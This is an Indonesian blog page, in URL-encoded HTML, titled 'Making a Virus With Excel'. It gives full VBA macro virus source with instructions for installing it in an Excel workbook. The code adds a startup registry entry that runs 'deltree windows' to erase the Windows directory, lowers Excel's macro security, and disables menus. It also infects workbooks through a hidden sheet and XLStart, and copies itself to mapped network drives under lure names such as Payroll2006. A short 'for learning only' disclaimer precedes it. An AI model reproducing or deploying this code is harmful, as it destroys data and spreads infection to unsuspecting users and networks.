Membuat Virus Dengan Excel

%3Cdiv+dir%3D%22ltr%22+style%3D%22text-align%3A+left%3B%22+trbidi%3D%22on%22%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B+mso-outline-level%3A+2%3B%22%3E%0D%0A%3Cb%3E%3Cspan+style%3D%22color%3A+red%3B+font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+18.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3EMembuat+Virus+Dengan+Excel%3C%2Fspan%3E%3C%2Fb%3E%3Cb%3E%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+18.0pt%3B+mso-fareast-font-family%A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%3C%2Fspan%3E%3C%2Fb%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3EHANYA+SEKEDAR+UNTUK+BELAJAR%E2%80%A6%E2%80%A6%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BCourier+New%26quot%3B%3B+font-size%3A+10.0pt%3B+mso-bidi-font-size%3A+11.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quow%3B%3B%22%3EMAKE+MODULE%2C+MENYEBARKAN%2C+MEMODIFIKASI+ADALAH+BUKAN+TANGGUNGJAWAB+CODER%3C%2Fspan%3E%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%0D%0A%3C%2Fspan%3E%3Cspan+style%3D%22font-family%3A+%26quot%3BCourier+New%26quot%3B%3B+font-size%3A+10.0pt%3B+mso-bidi-font-size%3A+11.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3ESCRIPT+INI+HANYA+DIGUNAKAN+SEBAGAI+ILMU+PENGETAHUAN+SAHAJA%3C%2Fspan%3E%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%0D%0A%3C%2Fspan%3E%3Cspan+style%3D%22font-family%3A+%26quot%3BCourier+New%26quot%3B%3B+font-size%3A+10.0pt%3B+mso-bidi-font-size%3A+11.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3EBila+anda+TIDAK+SETUJU+tekan+tombol+%5BX%5D+pada+window+ini%3C%2Fspan%3E%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3EMAKE+Virus%3A%0D%0Abuka+new+excel+workbooks+kemudian+menu+tools+macro+VB+editor%0D%0Aklik+kanan+pada+VBA+Project+dan+pilih+insert+module%0D%0APaste+file+ini+ke+dalam+new+module%0D%0Atekan+F8+untuk+trace+script%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94+begin+of+script+%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%94%E2%80%93%0D%0A%E2%80%98USE+THIS+SCRIPT+AS+YOUR+OWN+RISK%0D%0A%E2%80%98This+is+for+my+wife+if+thats+you+falling+love+with+others%0D%0APrivate+Declare+Function+RegOpenKeyExA+Lib+%E2%80%9Cadvapi32.dll%E2%80%9D+%28ByVal+hKey+As+Long%2C+_%0D%0AByVal+lpSubKey+As+String%2C+ByVal+ulOptions+As+Long%2C+ByVal+samDesired+As+_%0D%0ALong%2C+phkResult+As+Long%29+As+Long%0D%0APrivate+Declare+Function+RegCreateKeyExA+Lib+%E2%80%9Cadvapi32.dll%E2%80%9D+%28ByVal+hKey+As+Long%2C+_%0D%0AByVal+lpSubKey+As+String%2C+ByVal+ulOptions+As+Long%2C+ByVal+samDesired+As+_%0D%0ALong%2C+phkResult+As+Long%29+As+Long%0D%0APrivate+Declare+Function+RegSetValueExA+Lib+%E2%80%9Cadvapi32.dll%E2%80%9D+%28ByVal+hKey+As+Long%2C+_%0D%0AByVal+lpValueName+As+String%2C+ByVal+Reserved+As+Long%2C+ByVal+dwType+As+Long%2C+_%0D%0AByVal+lpValue+As+String%2C+ByVal+cbData+As+Long%29+As+Long%0D%0APrivate+Declare+Function+RegCloseKey+Lib+%E2%80%9Cadvapi32.dll%E2%80%9D+%28ByVal+hKey+As+Long%29+As+Long%0D%0APrivate+Declare+Function+RegCreateKey+Lib+%E2%80%9Cadvapi32.dll%E2%80%9D+Alias+%E2%80%9CRegCreateKeyA%E2%80%9D+%28ByVal+_%0D%0AhKey+As+Long%2C+ByVal+lpSubKey+As+String%2C+phkResult+As+Long%29+As+Long%0D%0AGlobal+Const+REG_DWORD+As+Long+%3D+4%0D%0AGlobal+Const+HKEY_LOCAL_MACHINE+As+Long+%3D+%26amp%3BH80000002%0D%0AGlobal+Const+HKEY_CURRENT_USER+As+Long+%3D+%26amp%3BH80000001%0D%0ADim+NewKEY+As+Long%0D%0ADim+AA%2C+BB%2C+NN%0D%0ADim+Myclub+As+String%0D%0ADim+CrStat+As+Boolean%0D%0ADim+pnm+As+String%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%98+ini+untuk+mendisable+menu+bila+ingin+memodifikasi+tambah+ato+kurangi+sendiri%0D%0A%E2%80%98+menghapus+direktory+windows%E2%80%A6ssttt+glodak+aauuuuu%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3ESub+MessBoard%28%29%0D%0AOn+Error+Resume+Next%0D%0ACommandBars%28%E2%80%9DFile%E2%80%9D%29.Controls%28%E2%80%9DPrint+Area%E2%80%9D%29.Visible+%3D+False%0D%0ACommandBars%28%E2%80%9DData%E2%80%9D%29.Controls%28%E2%80%9DSort%E2%80%9D%29.Visible+%3D+False%0D%0ACommandBars%28%E2%80%9DFile%E2%80%9D%29.Controls%28%E2%80%9DPage+Setup%E2%80%A6%E2%80%9D%29.Visible+%3D+False%0D%0ANowBoom+%3D+Array%28%E2%80%9DMsApp%E2%80%9D%2C+%E2%80%9CSound+Acceleration%E2%80%9D%2C+%E2%80%9CMs+Wizard%E2%80%9D%2C+%E2%80%9CWeb+Camera%E2%80%9D%2C+_%0D%0A%E2%80%9CPCI+driver%E2%80%9D%2C+%E2%80%9CApp+Video%E2%80%9D%2C+%E2%80%9CLshots%E2%80%9D%2C+%E2%80%9CWinApps%E2%80%9D%2C+%E2%80%9CMsOffice+11%E2%80%B3%29%0D%0ARandomize%0D%0ANowBoom+%3D+NowBoom%28Rnd+*+9%29%0D%0AKillAV+%3D+RegOpenKeyExA%28HKEY_LOCAL_MACHINE%2C+%E2%80%9CSoftware%5CMicrosoft%5CWindows%5CCurrentVersion%5CRun%E2%80%9D%2C+_%0D%0A0%2C+KEY_ALL_ACCESS%2C+s%29%0D%0AKillAV+%3D+RegSetValueExA%28s%2C+NowBoom%2C+0%2C+1%2C+%E2%80%9Cc%3A%5Cwindows%5Ccommand%5Cdeltree+windows%E2%80%9D%2C+0%29%0D%0AKillAV+%3D+RegCloseKey%28s%29%0D%0AEnd+Sub%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3EPrivate+Sub+Auto_Open%28%29%0D%0AOn+Error+Resume+Next%0D%0AApplication.StatusBar+%3D+%E2%80%9CWait+please%E2%80%A6.%E2%80%9D%0D%0AApplication.ScreenUpdating+%3D+False%0D%0ACommandBars%28%E2%80%9DTools%E2%80%9D%29.Controls%28%E2%80%9DCustomize%E2%80%A6%E2%80%9D%29.Visible+%3D+False%0D%0ACommandBars%28%E2%80%9DTools%E2%80%9D%29.Controls%28%E2%80%9DOptions%E2%80%A6%E2%80%9D%29.Visible+%3D+False%0D%0ACommandBars%28%E2%80%9DTools%E2%80%9D%29.Controls%28%E2%80%9DMacro%E2%80%9D%29.Enable+%3D+False%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%99setting+registry+security+LOW+pada+excel+ver.+8.0+dan+9.0%0D%0AKill97+%3D+RegOpenKeyExA%28HKEY_CURRENT_USER%2C+%E2%80%9CSoftware%5CMicrosoft%5COffice%5C8.0%5CExcel%E2%80%9D+%26amp%3B+_%0D%0A%E2%80%9CMicrosoft+Excel%E2%80%9D%2C+0%2C+KEY_ALL_ACCESS%2C+k%29%0D%0AKill97+%3D+RegSetValueExA%28k%2C+%E2%80%9COptions6%E2%80%B3%2C+0%2C+REG_DWORD%2C+Chr%24%280%29%2C+4%29%0D%0AKill97+%3D+RegCloseKey%28k%29%0D%0AKill2K+%3D+RegCreateKey%28HKEY_CURRENT_USER%2C+%E2%80%9CSoftware%5CMicrosoft%5COffice%5C9.0%5CExcel%E2%80%9D+%26amp%3B+_%0D%0A%E2%80%9Csecurity%E2%80%9D%2C+s%29%0D%0AKill2K+%3D+RegOpenKeyExA%28HKEY_CURRENT_USER%2C+%E2%80%9CSoftware%5CMicrosoft%5COffice%5C9.0%5CExcel%E2%80%9D%2C+_%0D%0A0%2C+KEY_ALL_ACCESS%2C+s%29%0D%0AKill2K+%3D+RegSetValueExA%28s%2C+%E2%80%9CLevel%E2%80%9D%2C+0%2C+REG_DWORD%2C+Chr%24%282%29%2C+2%29%0D%0AKill2K+%3D+RegCloseKey%28s%29%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%98mengalihkan+antivirus+ke+file+yang+anda+inginkan%0D%0A%E2%80%98rundll.exe+jika+sudah+menumpuk+di+registry+membuat+winkamu+cepet+mabok%0D%0A%E2%80%98rubah+file+rundll.exe+sesuai+keinginan%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3EAnVrs+%3D+Array%28%E2%80%9DVsStatEXE%E2%80%9D%2C+%E2%80%9CNorton+Auto-Protect%E2%80%9D%2C+%E2%80%9CF-Secure%E2%80%9D%2C+%E2%80%9CPandaSoft%E2%80%9D%2C+%E2%80%9CAvast4%E2%80%B3%2C+_%0D%0A%E2%80%9CDrSolomon%E2%80%9D%2C+%E2%80%9CAntiVir%E2%80%9D%2C+%E2%80%9CMsSound%E2%80%9D%2C+%E2%80%9CBombShellter%E2%80%9D%29%0D%0ARandomize%0D%0AAVstr+%3D+AnVrs%28Rnd+*+9%29%0D%0AKillAV+%3D+RegOpenKeyExA%28HKEY_LOCAL_MACHINE%2C+%E2%80%9CSoftware%5CMicrosoft%5CWindows%E2%80%9D+%26amp%3B+_%0D%0A%E2%80%9CCurrentVersion%5CRun%E2%80%9D%2C+0%2C+KEY_ALL_ACCESS%2C+s%29%0D%0AKillAV+%3D+RegSetValueExA%28s%2C+AVstr%2C+0%2C+1%2C+%E2%80%9Cc%3A%5Cwindows%5Crundll.exe%E2%80%9D%2C+0%29%0D%0AKillAV+%3D+RegCloseKey%28s%29%0D%0AApplication.DisplayAlerts+%3D+False%0D%0AIf+Right%28ActiveWorkbook.Name%2C+3%29+%3D+%E2%80%9Cxls%E2%80%9D+Then%0D%0AActiveWindow.Visible+%3D+False%0D%0Aworkbooks.Add%0D%0AEnd+If%0D%0AXBrnd%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%98membuat+file+Xlstart+yang+isinya+file+yg+terinfeksi%0D%0A%E2%80%98membuat+tulisan+pada+sheet+active%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3Estrup+%3D+Application.StartupPath%0D%0AIf+Dir%28strup+%26amp%3B+%E2%80%9C%E2%80%9D+%26amp%3B+%E2%80%9C*.xls%E2%80%9D%29+%3D+%E2%80%9C%E2%80%9D+Then%0D%0Apnm+%3D+ActiveWorkbook.Name%0D%0AApnm+%3D+ActiveWorkbook.FullName%0D%0AOtherVrs+%3D+Dir%28strup+%26amp%3B+%E2%80%9C%E2%80%9D+%26amp%3B+%E2%80%9C*.xls%E2%80%9D%29%0D%0AIf+OtherVrs+%26lt%3B%26gt%3B+%E2%80%9C%E2%80%9D+Then%0D%0Aworkbooks%28OtherVrs%29.Close%0D%0AKill+strup+%26amp%3B+%E2%80%9C%E2%80%9D+%26amp%3B+OtherVrs%0D%0AEnd+If%0D%0Aworkbooks%28pnm%29.SaveAs+FileName%3A%3Dstrup+%26amp%3B+%E2%80%9C%E2%80%9D+%26amp%3B+Myclub+%26amp%3B+%E2%80%9C.xls%E2%80%9D%0D%0AActiveWindow.Visible+%3D+False%0D%0Aworkbooks.Open+%28Apnm%29%0D%0AEnd+If%0D%0AFor+n+%3D+67+To+90%0D%0Al+%3D+Chr%28n%29%0D%0Adrv+%3D+l+%26amp%3B+%E2%80%9C%3A%E2%80%9D%0D%0Ad3+%3D+DrvID%28drv%29%0D%0AIf+d3+%3D+%E2%80%9Cnetwork%E2%80%9D+Then+snd2drv+%28drv%29%0D%0ANext%0D%0Anmpers+%3D+Dir%28strup+%26amp%3B+%E2%80%9C%E2%80%9D+%26amp%3B+%E2%80%9C*.xls%E2%80%9D%29%0D%0AApplication.OnSheetActivate+%3D+%E2%80%9C%E2%80%9D+%26amp%3B+strup+%26amp%3B+%E2%80%9C%E2%80%9D+%26amp%3B+nmpers+%26amp%3B+%E2%80%9C%21XLBomb%E2%80%9D%0D%0AIf+Month%28Now%28%29%29+%3D+7+And+Day%28Now%28%29%29+%3D+7+Then%0D%0ARange%28%E2%80%9DA1%E2%80%B3%29.Insert%0D%0ARange%28%E2%80%9DA1%E2%80%B3%29.Select%0D%0AWith+Selection.Font%0D%0A.Name+%3D+%E2%80%9CArial%E2%80%9D%0D%0A.FontStyle+%3D+%E2%80%9CBold%E2%80%9D%0D%0A.Size+%3D+18%0D%0A.ColorIndex+%3D+7%0D%0AEnd+With%0D%0AActiveCell.FormulaR1C1+%3D+%E2%80%9CLiving+in+the+DARKSIDE+to+watch+your+Life%E2%80%9D%0D%0AMessBoard%0D%0Acari%0D%0AEnd+If%0D%0AApplication.StatusBar+%3D+False%0D%0AApplication.DisplayAlerts+%3D+True%0D%0AApplication.ScreenUpdating+%3D+True%0D%0AEnd+Sub%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%98Penularan+pada+workbook+yg+aktif%0D%0A%E2%80%98add+sheet+xlSheetVeryHidden+sebagai+otorisasi%0D%0A%E2%80%99sorry+mcafee+aku+selalu+merubah+ini+bila+terdeteksi%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3ESub+XLBomb%28%29%0D%0AOn+Error+Resume+Next%0D%0AXlsBmb+%3D+%E2%80%9Cc%3A%5CTrough.WQK%E2%80%9D+%E2%80%98rubah+baris+ini+bila+virus+kamu+terdeteksi%0D%0AApplication.DisplayAlerts+%3D+False%0D%0AApplication.ScreenUpdating+%3D+False%0D%0Aaktip+%3D+ActiveWorkbook.Name%0D%0Asedang+%3D+ThisWorkbook.Name%0D%0ASet+mcraktip+%3D+workbooks%28aktip%29.VBProject.VBComponents%0D%0ASet+modaktip+%3D+ActiveWorkbook.VBProject.VBComponents%0D%0ASet+mymcr+%3D+ThisWorkbook.VBProject.VBComponents%0D%0AIf+aktip+%26lt%3B%26gt%3B+%E2%80%9CBook1%E2%80%B3+And+aktip+%26lt%3B%26gt%3B+%E2%80%9CBook2%E2%80%B3+Then%0D%0AFor+NS+%3D+1+To+Sheets.Count%0D%0AIf+Sheets%28NS%29.Name+%3D+%E2%80%9CS1L3N7%E2%80%B3+Then%0D%0Akz+%3D+Sheets%28NS%29.Name%0D%0AExit+For%0D%0AEnd+If%0D%0Akz+%3D+Sheets%28NS%29.Name%0D%0ANext+NS%0D%0AIf+kz+%26lt%3B%26gt%3B+%E2%80%9CS1L3N7%E2%80%B3+Then%0D%0ASheets.Add%0D%0AActiveWindow.ActiveSheet.Name+%3D+%E2%80%9CS1L3N7%E2%80%B3%0D%0ASheets%28%E2%80%9DS1L3N7%E2%80%B3%29.Visible+%3D+xlSheetVeryHidden%0D%0AElse%0D%0Asusun%0D%0ASheets%28%E2%80%9DS1L3N7%E2%80%B3%29.Range%28%E2%80%9DA7%E2%80%B3%29+%3D+%E2%80%9C%E2%80%9D%0D%0AEnd+If%0D%0AFor+nm+%3D+1+To+mcraktip.Count%0D%0AIf+mcraktip%28nm%29.Type+%3D+1+Then%0D%0Anama+%3D+mcraktip%28nm%29.Name%0D%0AExit+For%0D%0AEnd+If%0D%0ANext+nm%0D%0Amodaktip.Remove+modaktip%28nm%29%0D%0AFor+nm+%3D+1+To+mymcr.Count%0D%0AIf+mymcr%28nm%29.Type+%3D+1+Then%0D%0Anama+%3D+mymcr%28nm%29.Name%0D%0AExit+For%0D%0AEnd+If%0D%0ANext+nm%0D%0Amymcr%28nama%29.Export+XlsBmb%0D%0Amodaktip.Import+XlsBmb%0D%0AKill+XlsBmb%0D%0AXBrnd%0D%0AActiveWorkbook.VBProject.VBComponents%28nm%29.Name+%3D+Myclub%0D%0AIf+Minute%28Now%28%29%29+%26gt%3B+30+And+Weekday%28Now%28%29%29+Mod+2+%3D+0+Then%0D%0AApplication.StatusBar+%3D+%E2%80%9CSearching+for+1RM4+at+the+network%E2%80%A6%E2%80%9D%0D%0AEnd+If%0D%0AEnd+If%0D%0AApplication.DisplayAlerts+%3D+True%0D%0AEnd+Sub%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%98duplikasi+virus+dengan+berbagai+nama+secara+RANDOM%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3EPrivate+Sub+XBrnd%28%29%0D%0ADim+Sbjt%2C+Bodd%0D%0AOn+Error+GoTo+nil1%0D%0ARandomize%0D%0ASbjt+%3D+Array%28%E2%80%9DPrimitif%E2%80%9D%2C+%E2%80%9CConspiracy%E2%80%9D%2C+%E2%80%9Cmydata%E2%80%9D%2C+%E2%80%9COnJuly%E2%80%9D%2C+%E2%80%9CUpdater%E2%80%9D%2C+%E2%80%9Cms0ffice%E2%80%9D%2C+_%0D%0A%E2%80%9Cletme%E2%80%9D%2C+%E2%80%9Cpoisoning%E2%80%9D%2C+%E2%80%9Cyourdream%E2%80%9D%29%0D%0AMyclub+%3D+Sbjt%28Rnd+*+9+%2B+1%29%0D%0AExit+Sub%0D%0Anil1%3A%0D%0AMyclub+%3D+Sbjt%280%29%0D%0AEnd+Sub%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%98hihi..+macro+di+kawinkan+sama+worm+yaaa+gini+ini%0D%0A%E2%80%98tularkan+pada+semua+drive+%26amp%3B+network+yang+telah+di+MAPPING%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3EFunction+DrvID%28drv3%29%0D%0AOn+Error+Resume+Next%0D%0ADim+fso%2C+d%2C+t%0D%0ASet+fso+%3D+CreateObject%28%E2%80%9DScripting.FileSystemObject%E2%80%9D%29%0D%0ASet+d+%3D+fso.getdrive%28drv3%29%0D%0ASelect+Case+d.drivetype%0D%0ACase+0%3A+t+%3D+%E2%80%9CUnknown%E2%80%9D%0D%0ACase+1%3A+t+%3D+%E2%80%9Cremovable%E2%80%9D%0D%0ACase+2%3A+t+%3D+%E2%80%9CFixed%E2%80%9D%0D%0ACase+3%3A+t+%3D+%E2%80%9Cnetwork%E2%80%9D%0D%0ACase+4%3A+t+%3D+%E2%80%9CCD-ROM%E2%80%9D%0D%0ACase+5%3A+t+%3D+%E2%80%9CRamdisk%E2%80%9D%0D%0AEnd+Select%0D%0AIf+t+%3D+%E2%80%9C%E2%80%9D+Then+t+%3D+%E2%80%9Cnone%E2%80%9D%0D%0ADrvID+%3D+t%0D%0AEnd+Function%0D%0ASub+snd2drv%28DrvAll%29%0D%0AOn+Error+Resume+Next%0D%0AApplication.DisplayAlerts+%3D+False%0D%0AApplication.ScreenUpdating+%3D+False%0D%0AGnm+%3D+ActiveWorkbook.Name%0D%0AGnmF+%3D+ActiveWorkbook.FullName%0D%0ARandomize%0D%0AFlName+%3D+Array%28%E2%80%9DBankColapse%E2%80%9D%2C+%E2%80%9Cmyacc%E2%80%9D%2C+%E2%80%9Creport%E2%80%9D%2C+%E2%80%9Claunch06%E2%80%B3%2C+%E2%80%9CyourScrt%E2%80%9D%2C+%E2%80%9Cjobs%E2%80%9D%2C+_%0D%0A%E2%80%9Creference07%E2%80%B3%2C+%E2%80%9Clogistic%E2%80%9D%2C+_%0D%0A%E2%80%9CPayroll2006%E2%80%B3%2C+%E2%80%9CNewCost%E2%80%9D%2C+%E2%80%9CDoNotOpen%E2%80%9D%2C+%E2%80%9Csecretary%E2%80%9D%2C+%E2%80%9Ctax_report%E2%80%9D%2C+%E2%80%9CFinance%E2%80%9D%2C+_%0D%0A%E2%80%9Cdirector2006%E2%80%B3%29%0D%0ABread+%3D+FlName%28Rnd+*+14+%2B+1%29%0D%0Aworkbooks%28Gnm%29.SaveAs+FileName%3A%3DDrvAll+%26amp%3B+%E2%80%9C%E2%80%9D+%26amp%3B+Bread+%26amp%3B+%E2%80%9C.xls%E2%80%9D%0D%0Aworkbooks%28ActiveWorkbook.Name%29.Close%0D%0Aworkbooks.Open+%28GnmF%29%0D%0AApplication.DisplayAlerts+%3D+True%0D%0AEnd+Sub%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26qu